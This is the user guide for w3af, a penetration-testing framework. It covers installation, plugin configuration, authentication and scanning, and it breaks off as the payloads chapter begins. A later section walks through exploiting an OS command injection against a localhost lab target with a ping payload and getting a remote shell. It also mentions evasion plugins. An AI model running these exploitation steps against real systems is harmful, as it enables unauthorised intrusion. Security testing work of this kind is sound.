w3af - Web application attack and audit framework

w3af - Web application attack and audit framework
w3af - Web application attack and audit
framework Documentation
Release 1.7.6
Andres Riancho
March 04, 2016
Contents
1
Contents
1.1 Installation . . . . . . . . . . . . . . . . .
1.2 Advanced installation . . . . . . . . . . .
1.3 Updating to the latest version . . . . . . .
1.4 Introduction . . . . . . . . . . . . . . . .
1.5 Running w3af . . . . . . . . . . . . . . .
1.6 Automation using scripts . . . . . . . . . .
1.7 Authentication . . . . . . . . . . . . . . .
1.8 Common use cases . . . . . . . . . . . . .
1.9 Advanced use cases . . . . . . . . . . . .
1.10 Exploiting Web application vulnerabilities
1.11 Web Application Payloads . . . . . . . . .
1.12 Bug reporting . . . . . . . . . . . . . . . .
1.13 Contribute . . . . . . . . . . . . . . . . .
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GUI documentation
2.1 GUI Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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REST API documentation
3.1 REST API Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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Advanced tips and tricks
4.1 Advanced tips and tricks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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ii
w3af - Web application attack and audit framework Documentation, Release 1.7.6
This document is the user’s guide for the Web Application Attack and Audit Framework (w3af), its goal is to provide
a basic overview of what the framework is, how it works and what you can do with it.
w3af is a complete environment for auditing and exploiting Web applications. This environment provides a solid
platform for web vulnerability assessments and penetration tests.
Github repository
w3af homepage
IRC channel
Users mailing list
Developers mailing list
Twitter feed
Contents
1
w3af - Web application attack and audit framework Documentation, Release 1.7.6
2
Contents
CHAPTER 1
Contents
1.1 Installation
1.1.1 Prerequisites
Make sure you have the following software ready before starting the installation:
• Git client: sudo apt-get install git
• Python 2.7, which is installed by default in most systems
• Pip version 1.1: sudo apt-get install python-pip
1.1.2 Installation
git clone https://github.com/andresriancho/w3af.git
cd w3af/
./w3af_console
. /tmp/w3af_dependency_install.sh
Let me explain what’s going on there:
• First we use git to download w3af‘s source code
• Then we try to run the w3af_console command, which will most likely fail because of missing dependencies.
This command will generate a helper script at /tmp/w3af_dependency_install.sh that when run will
install all the required dependencies.
• Dependencies are installed by running /tmp/w3af_dependency_install.sh
The framework dependencies don’t change too often, but don’t be alarmed if after updating your installation w3af
requires you to install new dependencies.
1.1.3 Supported platforms
The framework should work on all Python supported platforms and has been tested in various Linux distributions, Mac
OSX, FreeBSD and OpenBSD.
Note: The platform used for development is Ubuntu 14.04 and running our continuous integration tests is Ubuntu
12.04 LTS.
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Warning: While in theory you can install w3af in Microsoft Windows, we don’t recommend nor support that
installation process.
One of the ugly details users can find is that w3af needs to detect the Operating System / Linux distribution, and then
have support for creating the /tmp/w3af_dependency_install.sh for that specific combination. In other
words, for Ubuntu we use apt-get install and for Suse we use yum install.
The list of distributions w3af knows how to generate the installation script for is extensive . If we don’t support your
distribution, we’ll default to Ubuntu.
1.1.4 Installation in Kali
The easiest way to install w3af in Kali is:
apt-get update
apt-get install -y w3af
This will install the latest packaged version, which might not be the latest available from our repositories. If the latest
version is needed these steps are recommended:
cd ~
apt-get update
apt-get install -y python-pip w3af
pip install --upgrade pip
git clone https://github.com/andresriancho/w3af.git
cd w3af
./w3af_console
. /tmp/w3af_dependency_install.sh
This will install the latest w3af at ~/w3af/w3af_console and leave the packaged version un-touched.
Note:
There are two versions in your OS now:
• cd ~/w3af/ ; ./w3af_console will run the latest version
• w3af_console will run the one packaged in Kali
1.1.5 Installing using Docker
Docker is awesome, it allows users to run w3af without installing any of it’s dependencies. The only pre-requisite is
to install docker , which is widely supported.
Once the docker installation is running these steps will yield a running w3af console:
$ git clone https://github.com/andresriancho/w3af.git
$ cd w3af/extras/docker/scripts/
$ sudo ./w3af_console_docker
w3af>>>
For advanced usage of w3af‘s docker container please read the documentation at the docker registry hub
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1.1.6 Installation in Mac OSX
In order to start the process, you need XCode and MacPorts installed.
sudo xcode-select --install
sudo port selfupdate
sudo port upgrade outdated
sudo port install python27
sudo port select python python27
./w3af_console
. /tmp/w3af_dependency_install.sh
Those commands should allow you to run ./w3af_console again without any issues, in order to run the GUI a
new dependency set is required:
./w3af_gui
. /tmp/w3af_dependency_install.sh
1.1.7 Troubleshooting
After running the helper script w3af still says I have missing python dependencies, what should I
do?
You will recognize this when this message appears: “Your python installation needs the following modules to run
w3af”.
First you’ll want to check that all the dependencies are installed. To do that just follow these steps:
$ cd w3af
$ ./w3af_console
...
Your python installation needs the following modules to run w3af:
futures
...
$ pip freeze | grep futures
futures==2.1.5
$
Replace futures with the library that is missing in your system.
If the pip freeze |
grep futures command returns an empty result, you’ll need to install the dependency using the
/tmp/w3af_dependency_install.sh command. Pay special attention to the output of that command,
if installation fails you won’t be able to run w3af.
It is important to notice that w3af requires specific versions of the third-party libraries. The specific versions
required at /tmp/w3af_dependency_install.sh need to match the ones you see in the output of pip
freeze. If the versions don’t match you can always install a specific version using pip install --upgrade
futures==2.1.5.
w3af still says I have missing operating system dependencies, what should I do?
You will recognize this when this message appears: “please install the following operating system packages”.
Most likely you’re using a Linux distribution that w3af doesn’t know how to detect. This doesn’t mean that
w3af won’t work with your distribution! It just means that our helper tool doesn’t know how to create the
/tmp/w3af_dependency_install.sh script for you.
What you need to do is:
1.1. Installation
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w3af - Web application attack and audit framework Documentation, Release 1.7.6
• Find a match between the Ubuntu package name given in the list and the one
for your distribution * Install it * Run ./w3af_console again. Repeat until fixed
Please create a ticket explaining the packages you installed, your distribution, etc. and we’ll add the code necessary
for others to be able to install w3af without going through any manual steps.
How do I ask for support on installation issues?
You can create a ticket containing the following information:
• Your linux distribution (usually the contents of /etc/lsb-release will be enough)
• The contents of the /tmp/w3af_dependency_install.sh file
• The output of pip freeze
• The output of python --version
1.2 Advanced installation
Warning: None of these installation methods are recommended for new users. Please refer to Installation for the
most common ways to get started with w3af.
1.2.1 Bleeding edge vs. stable
We develop w3af using git flow, this means that we’ll always have at least two branches in our repository:
• master: The branch where our latest stable code lives. We take it very
seriously to make sure all unit tests PASS in this branch. * develop: The branch where new features
are merged and tested. Not as stable as master but we try to keep this one working too.
Advanced users might want to be on the bleeding edge aka develop to get the latest features, while users using
w3af for continuous scanning and other tasks which require stability would choose master (our stable release).
Moving to bleeding edge w3af is easy:
git clone https://github.com/andresriancho/w3af.git
cd w3af/
git checkout develop
./w3af_console
. /tmp/w3af_dependency_install.sh
To the regular installation procedure we added the git checkout develop, that’s it! If you’re running in this
branch and find an issue, please report it back to us too. We’re interested in hearing about any issues users identify.
1.2.2 Installing using virtualenv
Note: Installing in a virtualenv is great to isolate w3af python packages from the system packages.
Virtualenv is a great tool that will allow you to install w3af in a virtual and isolated environment that won’t affect
your operating system python packages.
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$ cd w3af
$ virtualenv venv
$ . venv/bin/activate
(venv)$ ./w3af_console
(venv)$ . /tmp/w3af_dependency_install.sh
All the packages installed using the /tmp/w3af_dependency_install.sh script will be stored inside the
venv directory and won’t affect your system packages.
Installation of the GUI dependencies inside a virtualenv is a little bit trickier since it requires C libraries which
are not installed using pip. This information might be useful for installing w3af‘s GUI inside a virtualenv:
$ cd w3af
$ sudo apt-get install python-gtksourceview2 python-gtk2
$ virtualenv --system-site-packages venv
$ . venv/bin/activate
(venv)$ ./w3af_gui
(venv)$ . /tmp/w3af_dependency_install.sh
Or,
$ cd w3af
$ sudo apt-get install python-gtksourceview2 python-gtk2
$ virtualenv venv
$ mkdir -p venv/lib/python2.7/dist-packages/
$ cd venv/lib/python2.7/dist-packages/
$ ln -s /usr/lib/python2.7/dist-packages/glib/ glib
$ ln -s /usr/lib/python2.7/dist-packages/gobject/ gobject
$ ln -s /usr/lib/python2.7/dist-packages/gtk-2.0* gtk-2.0
$ ln -s /usr/lib/python2.7/dist-packages/pygtk.pth pygtk.pth
$ ln -s /usr/lib/python2.7/dist-packages/cairo cairo
$ ln -s /usr/lib/python2.7/dist-packages/webkit/ webkit
$ ln -s /usr/lib/python2.7/dist-packages/webkit.pth webkit.pth
$ cd $ . venv/bin/activate
(venv)$ ./w3af_gui
(venv)$ . /tmp/w3af_dependency_install.sh
Each time you want to run w3af in a new console you’ll have to activate the virtualenv:
$ cd w3af
$ . venv/bin/activate
(venv)$ ./w3af_console
1.3 Updating to the latest version
1.3.1 Manually updating
Manually updating to the latest w3af version is trivial:
cd w3af/
git pull
Note: After an update, w3af might require new dependencies.
1.3. Updating to the latest version
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w3af - Web application attack and audit framework Documentation, Release 1.7.6
1.3.2 Auto-update feature
The framework includes an auto-update feature. This feature allows you to run our latest Git version without worrying
about executing the git pull command. You can configure your local w3af instance to update itself for you once a
day, weekly or monthly.
The auto-update feature is enabled by default and its configuration can be changed using the
~/.w3af/startup.conf file. The file is generated after the first run.
[STARTUP_CONFIG]
last-update = 2013-01-24
frequency = D
auto-update = true
The feature can be completely disabled by setting the auto-update section to false; and the update frequency
has D, W and M (daily, weekly and monthly) as valid values.
It is also possible to force the update to take place, or not, by simply giving the w3af_console or w3af_gui
scripts the desired option: --force-update or --no-update.
1.3.3 Branches
Note: This section is only interesting for advanced users.
We use git flow to manage our development process, this means that you’ll find the latest stable code at master,
a development version at develop and experiments and unstable code in feature branches. I encourage advanced
users to experiment with the code at develop and feature branches and report bugs, it helps us advance our
development and get real testers while we don’t disturb other users that require stable releases.
git clone git@github.com:andresriancho/w3af.git
cd w3af/
git checkout develop
git branch
1.4 Introduction
Before running w3af users need to know the basics about how the application works behind the scenes. This will
enable users to be more efficient in the process of identifying and exploiting vulnerabilities.
1.4.1 Main plugin types
The framework has three main plugins types: crawl, audit and attack.
Crawl plugins
They have only one responsibility, finding new URLs, forms, and other injection points. A classic example of a
discovery plugin is the web spider. This plugin takes a URL as input and returns one or more injection points.
When a user enables more than one plugin of this type, they are run in a loop: If plugin A finds a new URL in the
first run, the w3af core will send that URL to plugin B. If plugin B then finds a new URL, it will be sent to
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plugin A. This process will go on until all plugins have run and no more information about the application can be
found.
Audit plugins
Take the injection points found by crawl plugins and send specially crafted data to all in order to identify vulnerabilities.
A classic example of an audit plugin is one that searches for SQL injection vulnerabilities by sending a’b"c to all
injection points.
Attack plugins
Their objective is to exploit vulnerabilities found by audit plugins. They usually return a shell on the remote server, or
a dump of remote tables in the case of SQL injection exploits.
1.4.2 Other plugins
Infrastructure
Identify information about the target system such as installed WAF (web application firewalls), operating system and
HTTP daemon.
Grep
Analyze HTTP requests and responses which are sent by other plugins and identify vulnerabilities. For example, a
grep plugin will find a comment in the HTML body that has the word “password” and generate a vulnerability.
Output
The way the framework and plugins communicate with the user. Output plugins save the data to a text, xml or html
file. Debugging information is also sent to the output plugins and can be saved for analysis.
Messages sent to the output manager are sent to all enabled plugins, so if you have enabled text_file and
xml_file output plugins, both will log any vulnerabilities found by an audit plugin.
Note:
Ideas:
• Send vulnerabilities to an internal issue tracker using its REST API
• Parse w3af‘s XML output and use it as input for other tools
Mangle
Allow modification of requests and responses based on regular expressions, think “sed (stream editor) for the web”.
Bruteforce
Bruteforce logins found during the crawl phase.
1.4. Introduction
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Evasion
Evade simple intrusion detection rules by modifying the HTTP traffic generated by other plugins.
1.4.3 Scan configuration
After configuring the crawl and audit plugins, and setting the target URL the user starts the scan and waits for the
vulnerabilities to appear in the user interface.
Any vulnerabilities which are found during the scan phase are stored in a knowledge base; which is used as the input
for the attack plugins. Once the scan finishes the user will be able to execute the attack plugins on the identified
vulnerabilities.
1.4.4 Configuration recommendations
At this point it should be obvious but:
Warning: Scan time will strongly depend on the number of crawl and audit plugins you enable.
In most cases we recommend running w3af with the following configuration:
• crawl: web_spider
• audit: Enable all
• grep: Enable all
1.5 Running w3af
w3af has two user interfaces, the console user interface and the graphical user interface. This user guide will focus
on the console user interface where it’s easier to explain the framework’s features. To fire up the console UI execute:
$ ./w3af_console
w3af>>>
From this prompt you will be able to configure framework and plugin settings, launch scans and ultimately exploit a
vulnerability. At this point you can start typing commands. The first command you have to learn is help (please note
that commands are case sensitive):
w3af>>> help
|----------------------------------------------------------------|
| start
| Start the scan.
|
| plugins
| Enable and configure plugins.
|
| exploit
| Exploit the vulnerability.
|
| profiles
| List and use scan profiles.
|
| cleanup
| Cleanup before starting a new scan.
|
|----------------------------------------------------------------|
| help
| Display help. Issuing: help [command] , prints |
|
| more specific help about "command"
|
| version
| Show w3af version information.
|
| keys
| Display key shortcuts.
|
|----------------------------------------------------------------|
| http-settings | Configure the HTTP settings of the framework. |
| misc-settings | Configure w3af misc settings.
|
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w3af - Web application attack and audit framework Documentation, Release 1.7.6
| target
| Configure the target URL.
|
|----------------------------------------------------------------|
| back
| Go to the previous menu.
|
| exit
| Exit w3af.
|
|----------------------------------------------------------------|
| kb
| Browse the vulnerabilities stored in the
|
|
| Knowledge Base
|
|----------------------------------------------------------------|
w3af>>>
w3af>>> help target
Configure the target URL.
w3af>>>
The main menu commands are explained in the help that is displayed above. The internals of every menu will be seen
later in this document. As you already noticed, the help command can take a parameter, and if available, a detailed
help for that command will be shown, e.g. help keys.
Other interesting things to notice about the console UI is the ability for tabbed completion (type ‘plu’ and then TAB)
and the command history (after typing some commands, navigate the history with the up and down arrows).
To enter a configuration menu, you just have to type it’s name and hit enter, you will see how the prompt changes and
you are now in that context:
w3af>>> http-settings
w3af/config:http-settings>>>
All the configuration menus provide the following commands:
• help
• view
• set
• back
Here is a usage example of these commands in the http-settings menu:
w3af/config:http-settings>>> help
|-----------------------------------------------------------------|
| view | List the available options and their values.
|
| set
| Set a parameter value.
|
| save | Save the configured settings.
|
|-----------------------------------------------------------------|
| back | Go to the previous menu.
|
| exit | Exit w3af.
|
|-----------------------------------------------------------------|
w3af/config:http-settings>>> view
|-----------------------------------------------------------------------------------------------|
| Setting
| Value
| Description
|
|-----------------------------------------------------------------------------------------------|
| url_parameter
|
| Append the given URL parameter to every accessed URL.
|
|
|
| Example: http://www.foobar.com/index.jsp;<parameter>?id=2 |
| timeout
| 15
| The timeout for connections to the HTTP server
|
| headers_file
|
| Set the headers filename. This file has additional headers|
|
|
| which are added to each request.
|
|-----------------------------------------------------------------------------------------------|
...
|-----------------------------------------------------------------------------------------------|
| basic_auth_user
|
| Set the basic authentication username for HTTP requests
|
| basic_auth_passwd
|
| Set the basic authentication password for HTTP requests
|
1.5. Running w3af
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| basic_auth_domain
|
| Set the basic authentication domain for HTTP requests
|
|-----------------------------------------------------------------------------------------------|
w3af/config:http-settings>>> set timeout 5
w3af/config:http-settings>>> save
w3af/config:http-settings>>> back
w3af>>>
To summarize, the view command is used to list all configurable parameters, with their values and a description. The
set command is used to change a value. Finally we can execute back or press CTRL+C to return to the previous
menu. A detailed help for every configuration parameter can be obtained using help parameter as shown in this
example:
w3af/config:http-settings>>> help timeout
Help for parameter timeout:
===========================
Set low timeouts for LAN use and high timeouts for slow Internet connections.
w3af/config:http-settings>>>
The http-settings and the misc-settings configuration menus are used to set system wide parameters that
are used by the framework. All the parameters have defaults and in most cases you can leave them as they are. w3af
was designed in a way that allows beginners to run it without having to learn a lot of its internals.
It is also flexible enough to be tuned by experts that know what they want and need to change internal configuration
parameters to fulfill their tasks.
1.5.1 Running w3af with GTK user interface
The framework has also a graphical user interface that you can start by executing:
$ ./w3af_gui
The graphical user interface allows you to perform all the actions that the framework offers and features a much easier
and faster way to start a scan and analyze the results.
Note: The GUI has different third party dependencies and might require you to install extra OS and python packages.
1.5.2 Plugin configuration
The plugins are configured using the “plugins” configuration menu.
w3af>>> plugins
w3af/plugins>>> help
|-----------------------------------------------------------------------------|
| list
| List available plugins.
|
|-----------------------------------------------------------------------------|
| back
| Go to the previous menu.
|
| exit
| Exit w3af.
|
|-----------------------------------------------------------------------------|
| output
| View, configure and enable output plugins
|
| audit
| View, configure and enable audit plugins
|
| crawl
| View, configure and enable crawl plugins
|
| bruteforce
| View, configure and enable bruteforce plugins
|
| grep
| View, configure and enable grep plugins
|
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| evasion
| View, configure and enable evasion plugins
|
| infrastructure
| View, configure and enable infrastructure plugins
|
| auth
| View, configure and enable auth plugins
|
| mangle
| View, configure and enable mangle plugins
|
|-----------------------------------------------------------------------------|
w3af/plugins>>>
All plugins except the attack plugins can be configured within this menu. Lets list all the plugins of the audit
type:
w3af>>> plugins
w3af/plugins>>> list audit
|-----------------------------------------------------------------------------|
| Plugin name
| Status | Conf | Description
|
|-----------------------------------------------------------------------------|
| blind_sqli
|
| Yes | Identify blind SQL injection
|
|
|
|
| vulnerabilities.
|
| buffer_overflow
|
|
| Find buffer overflow vulnerabilities. |
...
To enable the xss and sqli plugins, and then verify that the command was understood by the framework, we issue
this set of commands:
w3af/plugins>>> audit xss, sqli
w3af/plugins>>> audit
|----------------------------------------------------------------------------|
| Plugin name
| Status | Conf | Description
|
|----------------------------------------------------------------------------|
| sqli
| Enabled |
| Find SQL injection bugs.
|
| ssi
|
|
| Find server side inclusion
|
|
|
|
| vulnerabilities.
|
| ssl_certificate
|
| Yes | Check the SSL certificate validity
|
|
|
|
| (if https is being used).
|
| un_ssl
|
|
| Find out if secure content can also |
|
|
|
| be fetched using http.
|
| xpath
|
|
| Find XPATH injection
|
|
|
|
| vulnerabilities.
|
| xss
| Enabled | Yes | Identify cross site scripting
|
|
|
|
| vulnerabilities.
|
| xst
|
|
| Find Cross Site Tracing
|
|
|
|
| vulnerabilities.
|
|----------------------------------------------------------------------------|
w3af/plugins>>>
Or if the user is interested in knowing exactly what a plugin does, he can also run the desc command like this:
w3af/plugins>>> audit desc xss
This plugin finds Cross Site Scripting (XSS) vulnerabilities.
One configurable parameters exists:
- persistent_xss
To find XSS bugs the plugin will send a set of javascript strings to
every parameter, and search for that input in the response.
The "persistent_xss" parameter makes the plugin store all data
sent to the web application and at the end, request all URLs again
searching for those specially crafted strings.
1.5. Running w3af
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w3af/plugins>>>
Now we know what this plugin does, but let’s check its internals:
w3af/plugins>>> audit config xss
w3af/plugins/audit/config:xss>>> view
|-----------------------------------------------------------------------------|
| Setting
| Value | Description
|
|-----------------------------------------------------------------------------|
| persistent_xss | True | Identify persistent cross site scripting
|
|
|
| vulnerabilities
|
|-----------------------------------------------------------------------------|
w3af/plugins/audit/config:xss>>> set persistent_xss False
w3af/plugins/audit/config:xss>>> back
The configuration has been saved.
w3af/plugins>>>
The configuration menus for the plugins also have the set command for changing the parameters values, and the
view command for listing existing values. On the previous example we disabled persistent cross site scripting checks
in the xss plugin.
1.5.3 Saving the configuration
Once the plugin and framework configuration is set, it is possible to save this information to a profile:
w3af>>> profiles
w3af/profiles>>> save_as tutorial
Profile saved.
Profiles are saved as files in ~/.w3af/profiles/. The saved configuration can be loaded in order to run a new
scan:
w3af>>> profiles
w3af/profiles>>> use fast_scan
The plugins configured by the scan profile have been enabled, and their options configured.
Please set the target URL(s) and start the scan.
w3af/profiles>>>
Sharing a profile with another user might be problematic, since they include full paths to the files referenced by plugin
configurations which would require users to share the profile, referenced files, and manually edit the profile to match
the current environment. To solve this issue the self-contained flag was added:
w3af>>> profiles
w3af/profiles>>> save_as tutorial self-contained
Profile saved.
A self-contained profile bundles all the referenced files inside the profile and can be easily shared with other
users.
1.5.4 Starting the scan
After configuring all desired plugins the user has to set the target URL and finally start the scan. The target selection
is done this way:
w3af>>> target
w3af/config:target>>> set target http://localhost/
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w3af/config:target>>> back
w3af>>>
Finally, run start in order to run all the configured plugins.
w3af>>> start
At any time during the scan, you can hit <enter> in order to get a live status of the w3af core. Status lines look like
this:
Status: Running discovery.web_spider on http://localhost/w3af/ | Method: GET.
1.6 Automation using scripts
While developing w3af, we realized the need of fast and easy way to execute the same steps over and over, so the
script functionality was born. w3af can run a script file using the -s argument. Script files are text files with one
w3af_console command on each line. An example script file would look like this:
plugins
output text_file
output config text_file
set output_file output-w3af.txt
set verbose True
back
Note: Scripts are great for running periodic scans against your site using cron!
Note: Example script files can be found inside the scripts/ directory.
1.6.1 VIM syntax file
A VIM syntax file for w3af script editing is provided and maintained by the project development team.
1.7 Authentication
These types of authentication schemes are supported by w3af:
• HTTP Basic authentication
• NTLM authentication
• Form authentication
• Setting an HTTP cookie
If the user provides credentials w3af will make sure that the scan is run using an active user session.
HTTP Basic and NTLM authentication are two types of HTTP level authentication usually provided by the web server,
while the form and cookie authentication methods are provided by the application itself. It’s up to the user to identify
which authentication method is required to keep a session with the application, but usually a quick inspection of the
HTTP traffic will define what’s required.
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1.7.1 Basic and NTLM authentication
To configure basic or NTLM credentials open the HTTP settings menu. The configuration set in this section will affect
all plugins and other core libraries.
w3af>>> http-settings
w3af/config:http-settings>>> view
|--------------------------------------------------------------------------------------|
| Setting
| Description
|
|--------------------------------------------------------------------------------------|
...
|--------------------------------------------------------------------------------------|
| ntlm_auth_url
| Set the NTLM authentication domain for HTTP requests
|
| ntlm_auth_user
| Set the NTLM authentication username for HTTP requests
|
| ntlm_auth_passwd
| Set the NTLM authentication password for HTTP requests
|
| ntlm_auth_domain
| Set the NTLM authentication domain (the windows domain name)|
|
| requests. Please note that only NTLM v1 is supported.
|
|--------------------------------------------------------------------------------------|
...
|--------------------------------------------------------------------------------------|
| basic_auth_user
| Set the basic authentication username for HTTP requests
|
| basic_auth_passwd
| Set the basic authentication password for HTTP requests
|
| basic_auth_domain
| Set the basic authentication domain for HTTP requests
|
|--------------------------------------------------------------------------------------|
w3af/config:http-settings>>>
Please note the two different configuration sections for basic HTTP authentication and NTLM authentication. Enter
your preferred settings and then save. The scanner is now ready to start an authenticated scan, the next step would
be to enable specific plugins and start the scan.
Note: NTML and basic authentication usually require usernames with the \ character, which needs to be entered as \\
in the w3af-console. For example to use domain\user as the user use set basic_auth_user domain\\user.
1.7.2 Form authentication
Form authentication has changed significantly in the latest w3af versions. Starting with version 1.6 the form authentication is configured using auth plugins. There are two authentication plugins available in the framework:
• detailed
• generic
Authentication plugins are a special type of plugin which is responsible to keep a session alive during the whole scan.
These plugins are called before starting the scan (in order to get a fresh session) and once every 5 seconds while the
scan is running (to verify if the current session is still alive and create a new one if needed).
This tutorial will explain how to configure the generic authentication plugin which has the following options:
• username: Web application’s username
• password: Web application’s password
• username_field: The name of the username form input that can be found in the login HTML source.
• password_field: The name of the password form input that can be found in the login HTML source.
• auth_url: The URL where the username and password are POST’ed to.
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• check_url: The URL that will be used to check if the session is still active, usually this is set to the web
application user’s settings page.
• check_string: A string that if found in the check_url’s HTTP response body proves that the session is still
active, usually this is set to a string that can only be found in the user’s settings page, for example his last name.
Once all these settings have been configured, it is recommended to start a test scan only with crawl.web_spider
and auth.generic in order to verify that all the post-authentication forms and links are identified. Also, keep an
eye on w3af’s log since the authentication plugins will create log entries if there is any issue with the authentication
process. Log entries like:
Login success for admin/password User "admin" is currently logged into
the application
Are what you would expect to see if the configuration was successful and messages like:
Can’t login into web application as admin/password
Show that either the plugin configuration is incorrect, or the application requires more parameters to be sent to the
auth_url which in some cases is solved by using the detailed plugin.
Warning: Configure the crawl.web_spider plugin to ignore the logout link. This is important since we want
to keep the session alive for the duration of the scan.
Note: Creating new authentication plugins is easy! Custom authentication types can be added by cloning the detailed
auth plugin.
1.7.3 Setting HTTP Cookie
For the cases in which the form authentication doesn’t work, which might be related with login forms containing
anti-CSRF tokens or two factor authentication, w3af provides users with a method to set one or more HTTP cookies
to use during the scan.
You can capture those cookies in any way you like: directly from the browser, using a web proxy, wireshark, etc.
Create a Netscape format cookie jar file using a text editor, replacing the example values:
# Netscape HTTP Cookie File
.netscape.com
TRUE
/ FALSE
946684799
NETSCAPE_ID
100103
Once the file is created set the cookie_jar_file setting in the http-settings menu to point to it.
Warning: Make sure the file you’ve created follows the specification, Python’s cookie parser is really strict and
won’t load cookies if any errors are found.
Warning: Configure the crawl.web_spider plugin to ignore the logout link. This is important since we want
to keep the session alive for the duration of the scan.
1.7.4 Setting HTTP headers
Some Web applications use custom HTTP headers for authentication, this is also supported by the w3af framework.
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This method will set an HTTP request header which will be added to each HTTP request that is sent by the framework,
note that no verification of the session’s state is made when using this method, if the session is invalidated the scan
will continue using the invalid session (header value).
In order to use this method you’ll first have to:
• Create a text file using your favorite text editor with the following contents:
<insert-cookie-here>, without the quotes and inserting the desired session cookie.
Cookie:
• Then, in w3af’s http-settings configuration menu set the headers_file configuration parameter to
point to the recently created file.
• save
The w3af scanner is now configured to use the HTTP session cookie for all HTTP requests.
1.8 Common use cases
Due to the multiple configuration settings the framework has it’s sometimes difficult to find how to perform a specific
task, this page explains how to perform some common use cases using w3af.
1.8.1 Scanning only one directory
When auditing a site it’s common to be interested in scanning only the URLs inside a specific directory. In order to
achieve this task follow these steps:
• Set the target URL to http://domain/directory/
• Enable all audit plugins
• Enable the crawl.web_spider plugin
• In crawl.web_spider set the only_forward flag to True
Using this configuration the crawler will only yield URLs which are inside /directory. Then audit plugins will
only scan the URLs inside that directory.
1.8.2 Saving URLs and using them as input for other scans
Crawling can be an expensive process, which in some cases requires manual intervention (spider man plugin). In order
to save all the URLs found during a scan it’s possible to use the output.export_requests plugin which will
write the URLs to a user configured file.
Loading the saved data is achieved using the import_results plugin, which reads all the information and feeds it
into w3af’s core.
1.9 Advanced use cases
1.9.1 Complex Web applications
Some Web applications use browser-side technologies such as JavaScript, Flash and Java applets, technologies that
the browsers understand; and w3af is still unable to.
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A plugin called spider_man was created to solve this issue, allowing users to analyze complex Web applications.
The plugin starts an HTTP proxy which is used by the user to navigate the target site, during this process the plugin
will extract information from the requests and send them to the enabled audit plugins.
Note: The spider_man plugin can be used when Javascript, Flash, Java applets or any other browser side technology is present. The only requirement is for the user to manually browse the site using spider_man as HTTP(s)
proxy.
Note: See ca-config for details about how to configure w3af‘s certificate authority (CA) in your browser.
A simple example will clarify things, let’s suppose that w3af is auditing a site and can’t find any links on the main
page. After a closer inspection of the results by the user, it is clear that the main page has a Java applet menu where all
the other sections are linked from. The user runs w3af once again and now activates the crawl.spider_man
plugin, navigates the site manually using the browser and the spiderman proxy. When the user has finished his
browsing, w3af will continue with all the hard auditing work.
This is a sample spider_man plugin run:
w3af>>> plugins
w3af/plugins>>> crawl spider_man
w3af/plugins>>> audit sqli
w3af/plugins>>> back
w3af>>> target
w3af/target>>> set target http://localhost/
w3af/target>>> back
w3af>>> start
spider_man proxy is running on 127.0.0.1:44444 .
Please configure your browser to use these proxy settings and navigate the target site.
To exit spider_man plugin please navigate to http://127.7.7.7/spider_man?terminate .
Now the user configures his browser to use the 127.0.0.1:44444 address as HTTP proxy and navigates the target site, when he finishes navigating the site sections he wants to audit he navigates to
http://127.7.7.7/spider_man?terminate which will stop the proxy and finish the plugin. The
audit.sqli plugin will run over the identified HTTP requests.
1.9.2 REST APIs
w3af can be used to identify and exploit vulnerabilities in REST APIs. The two most common ways to consume a
REST API are:
• JavaScript which is delivered as part of a Web application
• A program that runs outside the browser
It’s important to notice that from w3af‘s point of view it’s exactly the same if the HTTP requests are generated from
a browser or any other program, thus it is possible to use spider_man proxy from any REST API client.
Just follow these steps to identify vulnerabilities in a REST API which is consumed using a non-browser application:
• Start spider_man using the steps outlined in the previous section
• Configure the REST API client to send HTTP requests through ‘‘127.0.0.1:44444‘
• Run the REST API client
• Stop the spider_man proxy using curl -X GET http://127.7.7.7/spider_man?terminate
--proxy http://127.0.0.1:44444
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Note: Since REST APIs can not be crawled w3af will only audit the HTTP requests captured by the proxy. The
manual step(s) where the user teaches w3af about all the API endpoints and parameters is key to the success of the
security audit.
1.10 Exploiting Web application vulnerabilities
w3af allows users to exploit Web application vulnerabilities in an automated manner. The vulnerabilities to be exploited can be identified using audit plugins or manually by the user (and then the vulnerability details are provided
to w3af).
During the scan vulnerabilities are found and stored in specific locations of the knowledge base, from where exploit
plugins can read and use the stored information to exploit the vulnerability. Exploiting a vulnerability identified by an
audit plugin is easy:
w3af>>> plugins
w3af/plugins>>> audit os_commanding
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> set target http://localhost/w3af/os_commanding/v.php?command=f0as9
w3af/config:target>>> back
w3af>>> start
Found 1 URLs and 1 different points of injection.
The list of URLs is:
- http://localhost/w3af/os_commanding/v.php
The list of fuzzable requests is:
- http://localhost/w3af/os_commanding/v.php | Method: GET | Parameters: (command)
Starting os_commanding plugin execution.
OS Commanding was found at: "http://localhost/w3af/os_commanding/v.php", using HTTP method GET.
The sent data was: "command=+ping+-c+9+localhost". The vulnerability was found in the request with id
Finished scanning process.
w3af>>> exploit
w3af/exploit>>> exploit os_commanding
os_commanding exploit plugin is starting.
Vulnerability successfully exploited. This is a list of available shells:
- [0] <os_commanding_shell object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19")>
Please use the interact command to interact with the shell objects.
w3af/exploit>>> interact 0
Execute "end_interaction" to get out of the remote shell.
Commands typed in this menu will run on the remote web server.
w3af/exploit/os_commanding-0>>> ls
v.php
v2.php
v3.php
w3af/exploit/os_commanding-0>>> end_interaction
w3af/exploit>>> back
w3af>>>
Exploiting one you’ve found manually, requires you to provide some input:
w3af>>> kb
w3af/kb>>> help
| list
| List the items in the knowledge base.
| add
| Add a vulnerability to the KB
w3af/kb>>> add os_commanding
w3af/kb/config:os_commanding>>> view
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| operating_system
| Remote operating system (linux or windows).
| name
| Vulnerability name (eg. SQL Injection)
| url
| URL (without query string parameters)
| vulnerable_parameter
| Vulnerable parameter
| separator
| Command separator used for injecting commands.
| data
| Query string or postdata parameters in url-encoded form
| method
| HTTP method
w3af/kb/config:os_commanding>>>
You simply set all the configuration settings and then execute save and back to store your vulnerability in the
knowledge base. Once the information is there you’ll be able to follow the same steps:
w3af>>> exploit
w3af/exploit>>> exploit os_commanding
os_commanding exploit plugin is starting.
Vulnerability successfully exploited. This is a list of available shells:
- [0] <os_commanding_shell object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19")>
Please use the interact command to interact with the shell objects.
1.11 Web Application Payloads
1.11.1 Introduction
From the hundreds of different Web Application Vulnerabilities that can be found on any web application, only a small
